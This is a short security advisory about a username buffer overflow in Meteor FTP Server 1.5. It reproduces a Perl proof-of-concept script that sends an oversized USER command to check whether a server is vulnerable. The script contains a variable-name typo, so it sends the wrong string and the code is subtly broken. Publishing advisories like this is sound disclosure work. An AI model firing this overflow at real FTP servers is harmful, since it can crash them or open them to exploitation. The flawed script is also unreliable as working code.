[EXPL] Meteor FTP Server Buffer Overflow (username)

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  Meteor FTP Server Buffer Overflow (username)
------------------------------------------------------------------------


SUMMARY

Meteor FTP is "a personal FTP server designed for the Microsoft Windows 98 
and Windows Millennium Edition operating systems".

A buffer overflow vulnerability exists in Meteor FTP Server's handling of 
the username parameter, the following exploit code can be used to 
determine whether your version of Meteor FTP server is vulnerable or not.

DETAILS

Vulnerable Systems:
 * Meteor FTP Server version 1.5

#!/usr/bin/perl
#
# 47meteor_bof.pl - PoC exploit for Meteor FTP Server
# version 1.5
# bug found by [email protected]
#
# coded by k0r0l from acolytez team
# visit http://acolytez.com for details
#

use Net::FTP;

# geting data
$host = @ARGV[0];
$port = @ARGV[1];
$debug = @ARGV[2];
# ===========

$ftp_error = "Unable";

if (($host) && ($port))
{
    # make exploit string
    $exploit_string = "USER ";
    $exploit_string .= "X"x80;
    #$exploit_string .= "\n\n\n\n"; - it will be new return point !
    # ===================
   
    print "Trying to connect to $host:$port\n";
    $sock = Net::FTP->new("$host",Port => $port, TimeOut => 30, Debug =>
    $debug) or die "[-] Connection failed\n";
    print "[+] Connect OK!\n";
    print "Sending string...\n";
    $sock->login($exploit_sting, "testpassword");
    $answer = $sock->message;
    if ($answer =~ m/$ftp_error/i)
    {
        print "\n[-] Sorry! Failed\n";
    } else
    {
        print "\n[+] Send ok!\nServer can be explorated!\n\n";
    }
}
else
{
    print "\nMeteor FTP Server - PoC Exploit\n 
http://AcolyteZ.com\n\nUsing: $0 host port [debug: 1 or 0]\n\n";
}


ADDITIONAL INFORMATION





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